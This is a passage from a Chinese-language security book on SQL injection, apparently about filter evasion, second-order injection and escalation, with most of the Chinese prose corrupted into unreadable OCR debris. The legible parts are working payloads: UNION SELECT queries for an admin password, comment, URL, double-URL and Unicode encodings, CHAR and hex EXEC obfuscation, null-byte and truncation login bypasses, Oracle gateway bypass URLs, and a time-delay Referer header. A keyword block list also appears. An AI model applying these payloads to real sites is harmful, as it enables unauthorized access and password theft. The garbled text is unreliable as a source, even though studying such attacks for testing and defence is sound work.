(INTEGRATED) , PATH= ''/sp' ', PORTS=(CLEAR))FOR SOAP (BATCHES=ENBALED)') --

EARRBETE victim fRSr88H/sp HRPEIE T —1 SOAP Wi, RATAT LATEN = _LEdHE—
A SOAP ik (1 FH HR A X SQL Zrifl). Bl 6-24 FBoR T — ik /MYZET Perl i) SOAP iRk T H,
EA] PA S B O 3 R HEATIEAS .

B 624 4@t CAIEE S BAT Perl i) SOAP Eiff

6.5 AT )

BEMNETWAEHA SQL HEABEREGH IEFREITHIEERFENEN. JZ5KEBHM
A RDBMS #HNE T N HRGEES MG DL EPATRIERZERSHGE . #—H, X
EORE L3 SQL AT 7T ME A X LT 68

fEAREMRIREECI SRR SQL AN RO)ER “Brk8” ) HAlk EHL RSB E R T —
EREMBEIRE A . AERZRTE SQL NI A EEX K % $3E 2 1N A afE A c
A, SO Ay 4 AT S5 H TG (primitive) & 2 4 A 8.

FTRXREETTE, EaLAESE¥ENE 7 ENAE. £ 7 BENMESHSE SQL HEAMEXM
528

6.6 RixMBEFE

1. FESCH R

THINAESHEA SQL AN REEICHH X:

e 7E MySQL 1, TTLA#A LOAD DATA INFILE §i! LOAD_FILE()#r4 M EHLELEAEf]
XA

e 7F Microsoft SQL Server F, A LA{f BULK INSERT B OLE Automation WX 41
SO . X FHEeH M RS (SQL Server 2005 R JGEHIMRA), WA LA#EH CREATE
ASSEMBLY J7 ¥\ 304 BRGE B A -

e 7 Oracle 7, W] LA{#/H Oracle Directory. Oracle Text B utl_file J5 5B 4.

THAASMHA SQL EA M XHRES XHH X:

e 7 MySQL 4, A] LA{§ { select into outfile 1 select into dumpfile iy 4 ] X4 R 4t 5 01 -
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[x*]

6.7

£ Microsoft SQL Server #1, 5] LA{# ] OLE Automation i {8 %) T 5 7] GE i3 Ay 2 33T)
e B RE T QI ATLLA @17 debug.exe 1 BCP K7 HAr R4+
HBh A IS .
7E Oracle 1, FTLA#E utl_file. DBMS_ADVISOR. Java Si#fE R4 dr & MirEE 2
i) ke S IS S #R AE

- BITIRIER GRS

£ MySQL ., BSRnT LU SQL G —/MH P & X B (UDF) R BT IR E R Zidr 4,
BB MAE R SQL FEANSERIZRER T 3.

£ Microsoft SQL Server H1, A LLEiT xp_cmdshell Z774&14 2. OLE Automation 8§57
] CLR SRR HER AT 4> o

E Oracle ", AJLAMEIE EXTPROC. Java. DBMS SCHEDULER &% PL/SQL iR,
1764

. FLEix e

A LA FH o P rootkit SRARIE BEHE 5 Uy 1) S22 R R 4528
AN HIEE PE rootkit FHAT AR R 240, A 1) S50 PR IR 95 B8 VR I o R 3 R 1) R 4e s bn
P (R E RS 5 RS FEES .

CEAGE:T ¥ S

BIRE: XTF SQLIFEABGEN S, REMEEEREREHAGEEER?
RE. FHEMEAECL 2 LA AR RDBMS P2 R B4 T, BRI HZITHR

ERHEIS T ) B0 HE 7 K B A2 Tk 5 8 5545 Mliicrosoft SQL Server i ABIHAE N A bR

IR (A FHBRE RIS S R T E L 11V ol LU R T BT A A Al AT %8 1R ?
MRE: —BUKRY, FRMNAZKRESHMEZER, HEFBRFELMEARITISHE %

2,

EIER: At ABRESCOR S REIE S M?
g JUVER, BEE - EREM RS ZEWE PO RE D 8O3 B SR

Wi, BRE/RH TS A BIEME . MR SR PR 5 38 1 S R T &
XAFHIBETEFER M T — N EFEEEFRHREN “SE", EAVWBGhHH A F M
AR R REIENL.

B1RE: URUESHE FEACE ) K2 A E AR X L2 o) {5 2
PRE: InGRECHE ARG BAR AR IIX 26 . MBI B, WLUBLERME EN&RS KT

HARRSRBIIEFTA SQL AR, ELFF LM REREREL. ZERINSAKE
B, B EEATIR: AR KRN RR AR 22 2 0 B 5 7 ik
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1. Balaji Rathakrishnan et al.“Using CLR Integration in SQL Server 2005.”Microsoft 24 ],
http://msdn.microsoft.com/en-us/library/ms345136.aspx (V7 g i [8]: 2009 4F 2 A 12 H).

2. {} #0 Hardbeat.*How we defaced www.apache.org”http://www.dataloss.net/papers/how.
defaced.apache.org.txt (V7 ) i [i]: 2009 &2 H 12 H).

3. Foller Antonin.*Custom xp_cmdshell,using shell object.”Motobit Software,http://www.motobit.
com/tips/detpg_cmdshell/ (7 A B 1] : 2009 £ 2 A 6 H).

4. Sarsfield.Brad I Srik Raghavan.“Overview of Native XML Web Services for Microsoft SQL

Server 2005.”Microsoft % 5] http://msdn.microsoft.com/en-us/library/ms345123(SQL.90).aspx (i
HRfTE]: 2009 22 A 6 H).
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7.1 #E

BEEATHE %Y, RIOCLERTERHEMRRGRPIR, #ik. FA SQL AR
TAREAR . B RABE B E A PERPERI I, X HE T ZEX BT AR AT B LB N
XL AP — R LR, B B e R A A 45 Aok DA R B B RO B i

AFERNTH VL E M RBR, BB IIRIR SQL AR &5 T BB £
RIS . BA TR BTN RILT B8 7, 35 JLAEETT B (Huin Web B2 H B k1)
KTk ABERFIN—FMPERE— B SQL A, 24ATTHE 4 KB 77 5 B AT LA
M. BETRBERE, L SQL HEAFMSHMMERARLESERURSNES
% BBk 342 B AR X S A N

7.2 BFMALRES

Web N AT SEHMALIERE, Bilixeeitygssn 3R IEEIE SQL AN K%
W, XL PR AT e T N A ARS8 s SUBT AN IE T R), BT REZE N S SR SE R,
FEh Web 1 B ‘K 55 (WAF) B 13 B 1) & 42 (IPS) -

£ SQL FEABEESE Y, BEKRABATESRARIIEEE T —fREMHAEN
B

e SQL X8, thim SELECT. AND. INSERT %

o FFEMNEANER, 5| ShRcREFE

o FHFF

BABET] it B3| 2 MANEECh RN AT B A R IFE 4 Rk § 5
HIFIA), XL EBEA KRB, R H K EFERE AR SN
TFF 3% IEH 7 AL B T N 2.

Y, HXETEERPMNAHARESZ2 SQL HANL. EEEMARRR, WEES
Rl e 8 T U8 38 9 7 VR LU B AR 5 S HOARAD . AT 7R B TR LA b
AEE— LB TS0k B AR A .

721 EFRAXNELTH

R T T IR A BN BA,  nT DUE I A B 4 P E AR RN B R
e, BOAYEREERAAK S KNSR AL SQL XS . Hltn, NS F UM AB L.

" UNION SELECT password FROM tblUsers WHERE username='admin'--

We] LAE T 57 iE G I S 2% -

' uNiOn SelLeCt password FrOm tblUsers WhErE username='admin'--

722 {£ER SQL iR

AT PMER AIBGER P PR BIEE SQL (AR, XU BARTE B FH X R, Bk
EHEHEREAY, REEIT SR AL TS
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W] DAfSE AR I Ao v R 8 F 2 ) 2 XSS L AC 98 38 . B30, phpShop B A BT G — A
TR EAE T A AT 38 288 K B AL SQL VA Bk

if (strister($value, "FROM ') ||
(strister($value, 'UPDATE ') ||
(strister($value, '"WHERE ') ||
(strister (Svalue, 'ALTER '} ||
(strister($value, "SELECT ') ||
(strister(Svalue, 'SHUTDCOWN ') ||
{strister ($value, 'CREATE ') ||
(strister(S$value, 'DROP ') ||
{strister (Svalue, 'DELETE FROM ") ||
(strister($value, 'script ') ||
(strister(Svalue,'<> ') ||
(strister (Svalue,'=s "} ||
(strister ($value, 'SET '))

die('Please provide a permitted value for '.S$Key):

WHER, BRAREXT A SQL XTSRRI ST TRE. ATUEARESAX
HIFOL TR BB R R AN X, IXPERUARIR 2 BB P X At k. it

'/**/UNION/**/SELECT/**/password/**/FROM/** /tblUsers/**/WHERE/** /username/*
*/LIKE/**/'admin"'--

(FER, JESEEESFFEOHRITERT. FRBFTFRG{EH LIKE XRygihgs,
ARG R R LG B RS R, )

2498, AT LA P 2 A IR A A SR PR L R RS (I R R pE 2R . B TR A AR A
K, BEIABREIN AN ST CAB Ik SQL HEAMK:, HEMISIET ABEBRATREGH
AAE A A 25 4% B o] #id (E R H 4409 SQL.

£ MySQL ', E2TTLAYE SQL KT A MR B BEREBFEE E LK X FHE
Y8R Bln, anRASFH BRIE R phpShop i #2805 UK T SR 7 T ASHYZE BN B9 2 B 2 (1R
BE B8 E N MySQL), W FHIBEK R 2%

Y/EEJUN/*F*/TION/** /SEL/ ** /ECT/** /password/**/FR/**/0OM/** /tblUsers/** /WHE/ **
/RE/** /username/**/LIKE/**/'admin'--

723 f{£A URL 4#3

URL 4af4 2 —M L IhfeEAR, ATLUELE RN L MRRME T IER. URL HREKE
FAR IR AR BB RF 7 BE6] ASCIL gabd sk B # e {1, H7E ASCI HASETIN%. 1
m, B5|SFHH ASCH 5% 0x27, I URL HiSHIRRIT AN %27.

2007 F7E PHP-Nuke N A+ & B — /i (http:/secunia.com/advisories/24949/) B 18 F )
LI REREPH B2 AR RO N BT ERE F 51 /*, (HEEBEIEIERRITSIM URL 4bERpm. A FiXFf
1oL, FTLAME R R 5 B R g it 36 8% -

'$2f%2a* /UNION%2f%2a*/SELECT%2f%2a*/password%2f%2a*/FROM$2f%2a*/tblUsers%2f
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SOL EAEESEHH
%2a* /WHERE$2f%2a*/username$2f%2a*/LIKE$2f%2a*/ admin'--

IXFRFEAM) URL gufdBoxf HAtE A RIER, ANy DO L 47 BB 7 R 24T X
URL #efg i 8%, EMmMNEEP, REEH % FRZLIER 51T URL G0
%25). BTLL, B515FREXN URL &SRB 2 %2527, WRA LRBGHE S URL 4i
B, AR A AR T AR

'$252£%252a* /UNION%252f%252a* /SELECT%252f%252a* /password$252f%252a*/
FROM%252f%252a*/tblUsers%252£%252a* /WHERE$252£%252a* /username%252f%252a*/
LIKE%252f%252a*/"admin"'--

W URL ZrtBa id <@ fEfH, BIA Web B B4 2 IRRS H P 81\ 9778 B AT 2 AT .
MEBMANLESRE. £ EmME 7, BREPRMTHR:

(1) B H RN %252f%252a* UNION....

(2) R URL N R ‘%2/%2a*/ UNION ...

(3) MARIEMATAEEXEHEREE)

(4) RZF URL R4 A\ 85k /**/ UNION...

(5) MFZE SQL EHE WP AL BN, By,

X} URL SR —H B8, "I{#H Unicode SRR MIEHIF 5. SR PIfL
FABEGIH ASCILBR B R % F R —8, Bl DA /& F Unicode #%2R %7~ URL 4h5.
#—B Y, %3 Unicode MEHIEZME, MDA E SARIFEmLIFILE “BEaa iR
(closest fit)” JRMIBEATAERD . 158 N H B NS EXTRE € 1) 7 B F1 2K A Unicode 4a B 1747 &
BEATAYEE, WET LARAS WP A A IR R TS . AT IR S BNOX AR RS, A EiS
W EFREES, IR B AEh B i .

F 7-1 FUH T — L8 HF R & PR E R FIHEPRMERT Unicode #if%, W4T SQL yEAILH I}
CANEEE Sy

xR 71 —EEBFHRRRAR TR S Unicode RS

SRESRTHIF mBEMENER
' %u0027

%ou02b9
%u02bc
%ouu02c8
%%u2032
%uffd7
%c0%27
%ec0%a7
%e0%80%a7
%ud05f
%ouff3f
%c0%2d
%c0%ad
%e0%80%ad
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(EER)

SR B ¥ wmEEFHER
/ %u2215

%u2044
%Youffof
Yoc0%2f
Y%c0%af
%e0%80%af
( %0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
) %u0029
%uff09
%c0%29
%c0%a%
%e0%80%a9
* %u002a
Youffla
%c0%2a
%c0%aa
%e0%80%aa
[space] %u0020
%uffoo
%c0%20
Yoc0%al
%oe0%80%al

7.24 (ERZSHEBRIT

VF % S8 1 0 AU VRIRLE T B I BUR R R B — MBS SQL WM FR B RIE
$AT SQL BH. WIRHIB) T —ANER SQL AR, BJEREAN RIS IS T ABEA
RIEEH], B4 AT LAME B IAT R EBETT XL 38 45

A RIBAE T A B WPITHERLHHAM. 7 Microsoft SQL Server H1, A LAEH]
EXEC R¥UUFFF BT XPATER. Blln:

EXEC ('SELECT password FROM tblUsers')
7 Oracle W1, T LM$EH EXECUTE IMMEDIATE 34 UL 2B B 7 RAPAT AW . #itn.

DECLARE pw VARCHARZ (1000):
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BEGIN
EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;
DBMS_OUTPUT.PUT LINE (pw};

END;

HEEFERM T ZRRIEFRRITE. ERFERNSRIT RS S, XREEHY
FRBRERER I BB AT HMAERR N HEAN TSRS,

T RSO, T CAE R A R R AR BB M R — AN . AR
BEE AR PRESORER R . i, nF SQL X487 SELECT #FH1E, WA L% FFH
RMIEE:

Oracle: 'SEL'||'ECT®
MS-SQL: 'SEL'+'ECT'
MySQL: 'SEL'+'ECT'

WHER, SQL Server i/ “+(IN'5)” YEAERR, MySQL {#H M N ERR. £ HTTP
RPN LR, FEA URL P45 S48 %2b F1%20.

#—3F, aTLMER CHAR & ¥(Oracle H4 CHR)R A4 i B 4977 . CHAR BR %Ay LA
WA FIF0) ASCII 48h8. Hlln, FEARLE SQL Server 1 #4i% SELECT X 8#ia, nf LUdiH:

CHAR(83)+ CHAR(6%9)+ CHAR(76)+ CHAR(69}+ CHAR(67)+ CHAR (84)

HER, ERERMTTARE T BN ATEEHTAS 5. DURTAHER SQL A
ANAEBEIETSS4RE, MATLA#EH CHAR B #k i F| i i E 45 8 (10 ‘admin’) .

TP F AR BB E A, i Oracle 14 REVERSE. TRANSLATE. REPLACE
F1 SUBSTR & ¥,

BH F35h—F1E SQL Server V& LA SIAATHIF R B 7 HRARR TS ASCI
FRRSE A HIB PR LG FR R B, T FrrEs

SELECT password FROM tblUsers
AT LA BT 500 AT M3 P sh A BAT -

DECLARE @guery VARCHAR{100)
SELECT Rqguery = 0x53454c4543542070617373776£72642046524Ff4d207426c5573657273
EXEC (@query)

M 2008 FEYITT 46, £ 3T Web NI A9 AR SQL i A Brdi # A % B SR FEAR BT R A AR RS
G AVAEE TP R o2 2N Ta ] 7

725 {ERZFYH

JEHAE N ARSI MBS B L A FI A SQL AR T 4 B T A L 3848, LEIFEA
REAARLADS)EL WAF F. mTHEERE, XLA4ETE HRERSHD CHRS. ST
XFRDL, TCAMER 2 i Rk M A B PR A R E G A .

2 FN Z BT CAREERAE A, BB h R AR AU (native code) FIFEEFRAD 2 51K FH AN 7] i 77 3k b
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HAEY . FEREESS, RIEFR B RAAE R NI A2 0 AL B R E AR/ K
(EFWHRELT 76 8). MERERES, FRENZOE - FRHREAMTRESZEFN)
A& BME) AR KB IER.

XA ZE RO AL SR A TE L MR, RBR| N EESEFILLE, BNEDE
B/EK, EFWREFHFRROGR. WREFWZATHMAL RYER, B2 IEREAHILE
AN . AREFCERMES S, NAELEAAR KRR, SORIREZ 0GR R
KEEELAESATFIA -

BREPATE AR, RARES SR TR mERE- KA URL HGHZE T
(%00)RI AT . FEJSRABI 7, wTLAER FHI4& XA B0 717 88 R BT IR AR A\ L a8 28«

%00'" UNION SELECT password FROM tblUsers WHERE username='admin'--

726 BMEFERHFTIER

AEHE EIT AR MR A P R B E O FRFERRIE R, R B E Ay b
BT B MRPEHBOREATEERARLAFR, WARBANASER. BRAL
AR AR RIS T HE B 8RR e AR

ilan, wRMEATRBE T SQL 81T SELECT, AT LA H T 314 A Al 5 18 3% -

SELECTSELECT

7.2.7 FIRABEE

o I PEARE F 2 P SRR BB AT B R ERAE, X LB A b AR BT K
B KK BE(RT RE AR 0 T R A7 B3 v DX it B0 ) e 8 8 4 e A3 R0 T4 e UK
(R PR BN

IHEEPAT T ERRERKE, EEEHA G RARBATL:

SELECT uid FROM tblUsers WHERE username='jlo' BAND password='rlMijle'

BBENAEHT —NHETES ERITTIIER:

(1) X5 SRR TN ES, FRRANRS|5CYFRIE KRS 5()rbl.
(2) FrfE—TERMTIR 16 4~ F1F .

W RR A AT T B SQL IEAB T E R

admin'--
2K PAT TR EWH DB R

SELECT uid FROM tblUsers WHERE username=' admin' '--' AND password= ' '

WER, SIS NERHMEREENRANRELILAP TS, FTUXEALRE ERET
APREWMEERENTEA 4.
i, MRBRETHEE 15 4NFFa M AE5I 5K, A

aaaaaaaaaaaaaaa'
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2N AR RN EMG RS S, PFE—MEE 17T DNFRFRE . BT R RN
16 MF5F, RIS 5 XA LUE S & HEA — DR E K55 AR T R EE:

SELECT uid FROM tblUsers WHERE username='aaaaaaaaaaaaaaa' '
AND password= ' '

XMYIRR TS E—MEIR, BARAER EfA — RGN F/ 8. BRET R} a )5H
X5 SRR -NHEL5IH, BMELEFISKACHRL2F/HHE. A, BAFE
BIAMEA R, PTUATDIZE 04 FBARE X EWEENA MM, ATl R0t T 5 04Kk
H¥x:

or 1=1--
X RBENABAT T HIEH:

SELECT uid FROM tblUsers WHERE username='aaaaaaaaaaaaaaa' ' AND

password= 'or 1l=1--'
BEFEPITZE AN, SBERACF EEHP 2R

daaaaaaaaaaaaaa' AND password=

HIRIM, — BRI RKEEM, T 1=1 /KK, Bk, B#HLIREFRFFTH B UID,
XEFE FEBANMEARF BN RERNA . R A (bt UID 25 0 A
FOEF, WATLEE T ARt 04

or uid=0--

H b8 B

AR P A SQL Fif) b RAEGI AL T L RF(L IR B 4488 SQL EARTATE). £
Microsoft SQL Server ¥, A#ALE#) LA AHBANFHELBMIEERAKE, R AT
A B ReMA, MAMASHBB AR KKE. #—F 5, SQL Server /£ ik WHERE
FOHOFHFHENS LR ERNEON. EHTAEHEAT, XEHEL5| KRS M
M, e, BEREMAAF SRS P B8R T e-mail it B ERGT4, o
B R BMGT R e SF A SQL &3 b A5 AR RT, MR LA EHAE TR T HlHrA:

victim@example.org [many spaces]; evil@attacker.org

EARE G EE P, LR ALHEE e-mail # victim@example.org ¢9H P é§a 4, B
H A B AR 6 TR
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SELECT password FROM tblUsers WHERE email= ' victim@example.org'

BTRYEMEREIPY e-mail LK ik 040, CERGAEELE—Ha)
A, IHAEZTOREZFLGK, . BREREMTIFALEGF@E L, HHE
@ Gary O’Leary-Steele %5 49 “Buffer Truncation Abuse in .NET and Microsoft SQL
Server”, %X ¥ {iF www.scoobygang.org/HiDDenWarez/bta.pdf.

7.2.8 BIFBENDES

Web N RIKBI AR L, BLPETRELSBRIRMARAMATESE, TR
FEHZR SR I e 2.

Oracle IR 45 28 503 R HHE S 0 B @SOS BB BT — N E AN A RS %7~ KR4
T — R BORFEIEME L RER Web B0, EAWIFR A RRELEEEFE R C L LM skl
TEERE Web PLF o KB BB 3648 R %% 281 1) Oracle H4E BEh W B A ShRESR Kt 2,
FREGA$SEE T — A AT HIRFHFHLEXHE I SYS F1 OWA 8T .

AR, BIFIXFPFE LR T R 2 BN 838 & LB A B (Oracle RIBATFIR L ABISH) .
2000 “E4E%], David Litchfield REL T %t B AFE R — RFIGRIE, HSAERFEHSHHIEAER
RAFTARE X, XEARRRTETERT SRR, BEE 6 EHEED LHE RO
EREE,

Blan, "TLAFERAMRMNSE AR
https://www.example.com/pls/dad/%0ASYS.package.procedure
FTLAEA y FRFH URL Srid Bt SYS i Y 74
https://www.example.com/pls/dad/S%FFS.package .procedure
A LA ARG 5
https://www.example.com/pls/dad/"SYS".package.procedure
W] AFE B 4 RS In g A2 BB #n 2 «

https://www.example.com/pls/dad/<<FO0>>SYS.package.procedure

BR B G TR X E B8, EEIHNRR T 85 CRA LR H I ERR UL
ZARB X St RN R RIBAR .

7.29 {EAdERRAEANDOR

HIRIILBEAE T AR HEH I WARKES, KA LH T ERMMALIESRHFH
REB) 1L A 8 DL A 52 R ARSI 7 ik . T IXAHESL, RAINZ T HRBEAN R A JEARAE
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AL, XA R 52 F] SQL FEATH I H 24 N FH R S48 200

RE WAF SR EFMERSENME, HARRIESHE. LR, FLLEEMTERFIME
MZH. WMRNMEDFT SQL mMTRER T ERSEAL, WA LLZBE i3 2% i) 47 78 0 2k 2L 3,
1T SQLIEA.

WRBENHPREFAAREX—Dif. AREEFTHEE T KEMATR, EIHIERE
4531 URL:

https://www.example.org/?references.aspx?lang=en&region=uk&currency=gbp...
WK Lk URL & SHNAAE MR Z SQL &if, R FHix:

UPDATE profile SET lang='en' WHERE UID=2104
UPDATE profile SET region='uk' WHERE UID=2104
UPDATE profile SET currency='gbp' WHERE UID=2104

B AR B B bR R R A e, B R A RRE R —FriERe, #F57
ASLBILT) g
IEnumerator i = Reguest.QueryString.GetEnumerator();

while (i.MoveNext {))
{

string name = (string) i.Current;
string query = "UPDATE profile SET " + name + "='"
+ Request.QueryString[name].Replace("'"™,"'"'") +

"' WHERE uid=" + uid;
}

LRAREKE THEUFHFRPHFESE, ATASN2EMET 4% SQL &Hil. BR
RS2 T ZHAP 5] ShRIRARZE R L SQL A B id7), BEE S MRS iT 3 B BN
BT EMP. FRNHSZESE, AR RESEE .

U SRR AR AL E s SO R, LB BT 1 SR ) URL(AH5 25 ) 7 77 )R 77 B0
P, MAELHRS EmELKRE. GRS ES HRIESEEm A RIESE4, W
DASH i 45 1 107 B 2 404 SRR 2R A

N 2R R NG PR 2R IR 2 A — O S & HTTP 5K P i385, N ARG AT LAE
FAER T AL HTTP k. NALH AR LMaRE L. 51 5T L& 908 {1+ 1
PR, anRAE A 22877 S K ST SQL g, NIn] LA Baiix s A
A RRAT SQL FEA.
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BT REESIHTHTEN

BT A RLABERFRNAIIE, B ERELSPATH I AL, XL ohied)E = 7 324
5 PR T A ARA8 K 6 BB AR P B TT 44 B 1A B R 69 SR 3R0R. XA A IE R
QM P PSTREZHGGEL, MXRELTIIFAPAREA, HhTHTXER LS
WATARM G BRR, BAEETIA T RHARFRAATHRE T L, ZEFR
FIAT URL @8t X AR T RATEHEA., wREA T REothF XX LR
2| SQL &%, M TABiE AR % URL 9 E AP SAKEHF L3R A KI- X%
F 0 R AT SQL iZA. Hlo:

GET /vuln.aspx HTTP/1.1

Host: www.example.org

Referer: http://www.google.com/search?hl=en&q=a';+waitfor+
delay+'0:0:30"--

AP A E BRI, 5B ER XA R A § 35434 3 (Burp Scanner B4F, &4
Hat B FRE I L H)THRLSLAE.

7.3 F|H =M SQL ZA

SKhr LB H AN, FHIHERIFTAE SQL FEARFIEAT LUFE] “—i(first-order)” SQL
HEAR, FAXEHFH &M TS RELESEA HTTP ERAMMN T, 0 FFx:

(1) BtiFE HTTP E R PR EFH LB RBA .

() MALEEMA, SBHEEFEAN SQL HHBHIT.

() WRAIATHILE, S7EN N A R i B o ) B 3R Bl A ) 45 R .

FH—FARFEK SQL HEAK TR “ —Hr(second-order)” SQL ¥EA, XFhIi I E 46 Fril
T TR

(1) Biti&7E HTTP %R b3R8 20t IS o

(2) ILFAAFA 28 N\ B R AEE 3088 P v ) LA /5 T 86 P g B i SR

() AHHERZE -ANRRIE)IERK.

(4) AL AR, NASKR CEFHMOMAFFAEE, A SB i HEAR SQL
EWHRAT.

(5) WRATATHIE, STEN IR AR K w5 o () Bk &R B 2 W45 1
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ZHr SQL FEABREM B SQL A —HIIfEE K. A ER M EMMIRE, &%
L2208 (EIR

FRA RAEH BB BRI Zd WAF BRI T B0 MA@ M 251 2 H SQL A
EHBENAFPEBMANCEA, RER, ZMALSHEEMZIRLE., KIRREERTFRA
REBAEHE—H SQL EA, Hink 85| 8 W ERLREN NP ERASKLE . A,
WRZMARFANEUELER, WAESEHZEECZIRY, XLSBBHFRAR
IR IR MA R,

ERE-MERENA, AP TURFARNBKRER. QB MNERAN, HPATU®
AR\ e-mail A BIA0E B, A {# A INSERT i54) 0 B R AR — &5 MSEREE
T, HFHWMAT RS S WERBLABIE SQL B H(GES LE 7-1).

2. {#A] INSERT ' ]
e _—]' 3 DB(EE) '.,

H7-1 BIRHBRRAMNERM

BN AR AFRFBRETHEFEBRRANHAER. ARBMCHFENBERAN, M
FH5EEA] SELECT BRI RIZBAR AN SETH Y65 BB REERINED; RSEHHMR
PERIBT AT {5 B EF RN BIETL, HHUAHZMA TG SHATNERD, AR BN
ORI N FF PR IFEARZE; SR UPDATE B4 P 77 70 (¥ B 45 S0 I (5] S 2 M e v
(&2 1LHE 7-2).

e

| -
e-mail L R
bt :ﬁ R i

| I—

1. SELECT |
iff)

4. UPDATE
:{) iy

Huhk 2. A | 3. EHEPH
|

B 72 EHFCFERRANE LR

REHRBIP IG5 NERGAT LA B IE—B SQL #A. REmik, NAMRSZS
ZHr SQL AT . BHEFAZRERE, RINEEFETARNFBF ORGSR B
RN, BBEEIEEN Microsoft SQL Server, 1§ FFZFREEB—MERERA:

a'+@@version+'a
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BTG SN ER, K&K INSERT BAW FHIR:
INSERT INTQ tblContacts VALUES ('a''+@@version+''a', 'foolexample.org',..)

A5 4R A8 S T (EDHE B R A\ Sk 42 2 e b AR A B HOR
BT R ERFNERARANIIEE, R ik 7 BaR Ot AN FrE (T LU (T R ik

W R BRI TT . BHATIXELERAERT, NA ISR T AR IR R CAFAENBA ARG 175 8.

SELECT * FROM tblUsers WHERE contactId=123

KR RS B REERF T SR, REGELFRERIROES BT HRERK

FHEAEAR, HACRERFERREPRAE. NALAFRMNESSRANFMIEE,
EEHS ShR N ESID. BT RNIT T UPDATE &4, HHE B REERIESE A+

UPDATE tblUsers
SET name='a'+@@version+'a', address='52 Throwley Way',...
WHERE contactId = 123

B HATM b, Bk CRRSAT I T R R . NBEE R R ORI BRI T ek e

KbEE, #EATDAIRAR AR B E SO AWK A . XM RS RUES T, BATVR R
WA TR R IS TR . YEREFEMBRRANATEEN, B RERREFL:

Name: aMicrosoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 27 19988
22:20:07 Copyright {(c) 1988-1998 Microsoft Corporation Desktop
Edition on Windows NT 5.1 (Build 2600: )a

Address: 52 Throwley Way

BRABITEA MM B, W HEEARTE A EEN UPDATE BEAIR 2 RN RES
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FITHRERE I 218 BRI K . Rid, FHHRRA R AT LUSE SR TS B AR RIS 23 48 fr B 1
HIUEHINORERAESWEIE. KBEERT, oL TR RS N5 — R

(1) FRFNRAKABNEEHITERE, FRITEH B EH0EET, XSRS
B AR BN ER . SMRES MR A SN LABITE TR SR,

(2) TERRIUH R — MR BRI, BIRTZAE SQL M P HA L M F R R R 28| R
R, B, RS SRECHASI SRR FHREHIRHE, WELE, Hhalhary
BESHBRE RR(an F P EA MR SR e A R AN TN .,

() WRKIMN AN TIEROELE THA, WHEHAZRTE( “7.2.8 BFFE AT 7
IHNBEBARUZRRMAT SBT3,

(@) RER AN HEFE R AR R Ta R E AN e, I
iR RARMMASIRT HEKRRHITH, tLmBERES R . HTTP 500 RA/LH.
R RIE R ZHATIEE. ERESUR MRS,

(&) X F U HRE B METE B, 2RI R — MESRIFB RN E B SQL A
Wl EER, AR ABIE T AR UL B B B 5 R (B, BRI AR
WIAE KRBT RAF R ZREHARN T SRR AN A S TR RS AN %,
TS FR R P P 1) 5 g (b 01 R B 2 B B R0 R A AR 1R SR B A TE 2% SQL 25440
FAEFEMRERGIW, FREERLSRBEAERNR), NE22R 0 IEE AR T
RIFMFELE

ROZECRE], HETH SQL HEARARLAE K, SIS E T R 06 B R 287 4 7]
BRI . B0, J0 SRR A — A R BTN 224 7 G0 S B 3 (0 38 A OHE 36 FLAR JiE 1 Kb 3 7
HAWE, BAMHBRNIRIRIA R K5 BT AR TE i R SRR . ZARRY I B3 2 B p G s,
TREEMEAPROFHEFHMAGE SQL TR A 2 E R IX S A B S 2 I 1) 285 )3k
HEHERADR, ZEmBNARENIGURAREER. BAENSHZER, TEEM
—RPEIR, TOIRVEYE R 24 R0 7 A A SR E 6 B0 24 BT IE 28 $A 4T 9 & W (SELECT. INSERT
FTERK. Lh EXE M EERHS I A M B es.

ZHMiREEERA

=M SQL EANRERL, XHENEATH. ABHAYZARAR L oM E L
TR R (Ao £ RBATRA A ) PRI T RF, X ERFTABRESE, BH
W )€ NAat o B AR,

RERSHEETREXSH)FEAAR CELEIRT SQL FAMBM, ol 4oihdofT
A S BTN RE L AR GBIRZ LR ERE] SQL FHF. R, MR H4iES
BEAE NI ERN LN DS AR TEEHS . H 5 FRARPBRAERGA S
ARG, IAA NI PR BIBE R 5o BB BT IR C AN AN AL 5035
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%5 SQL Fif)64 5 I ik A A W 8% 5| B 4 69 M B (P do A 1 3T HTTP i KA 2] 69
KAV A HALE R, dob, AT BRI IEEBERATTAEDSEN T ZEMAL
A R, XA ERAR, BACRESFIARE, MRt &R BIEAAIT R
AR FE . AT AR RIS R T AL B A AR R e B AT L B AR, Ak
Rie bt AT SIANZFRR . XA 4R 6 B A (P AA BB BB A & HATR
AL SR BBERARRLREFEEY, 2XFLRTHE.

SN iRR, Rl 64 7 ik R A P AR iy R R AL i) R A e 5
AIE B B B0 T BT R MR A, A XA F R R FRAEMERFEGHRRERRT R
RV E A0, 2 TAEE EiRR, KA REETURE SQL EAAE
F R AW I E B Ao FiRik,

W&, AREBEALELCMN ELFZHN, A& SQL EMey TR F
B )R EH AN, BHEIIFENZE IR TROMAGEMEE LN, wRE
4R PRI R B B e F A b, N B AR AT TR KR 6 F kR
TG TEghEE, e, BitiEekbte k] THABLRE BRG AT L. wREHTR
STAT, M ARG L E RN (LRI T mEiEf P 338,

74 EARESKE

A B RIS P A R A A A R B B A, B A RS TR LA
Ko AL SQL VEA SHABIAR LA S # 7 AL ARSI K e SLA B9 H .

741 EEUEEMEE

AR, EHEATUMEA SQL yEASRAER A TN AR MBURSE . Hla, wTLLEE
AR 2 1 014 3 DUBATH S0 B . IR O14A2 5 e A5 hn s 3F AR Rl s 5k, AT BAE
REPRESTHEWOER . SHH0, BTSSR EREENR, HPETH 2.
£1E 4 i (session token), & A AL P KT RZHISH.

Ak, MBENAGEKAKEIIME, MXDETUEGIEALHHANRE -3
e-mail(EC AL 5 AT DA — MR 14 URL), MR LABEBURIREA FABA /- gk R E < R
8, HETELCHEER VIR K E, AT AT K -

742 fIEREEZE

SQL FEAR HHLAE Web [ &b #—FiR K 9 bug. A, A B R STARE —F AR AT bug,
H BN BE Sk B AN (XSS). B H AT LA SQL FE AR Rl B H 5 AR FIR B XSS

AR L N AT B CEL R, T2 A ARA I SQL Eify iR ElH,
2B AT AR A ZRNASE IS R 4T XSS B AR, B, WRNAEE TFIERESR:

SELECT orderNum, orderAmount FROM tblOrders WHERE orderType = 123
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3t H orderType 7B 5523 SQL #E A ¥ ifi, A4 W LAAEH T %] URL 63 —MEZKIE XSS
B it

https://www.example.org/MyOrders.php? orderType = 123+UNION+ SELECT+1, '<script>
alert(l)</script>',1

54 XSS A, &N EAAR AN R XA, o] LB e SQL Bk [ &
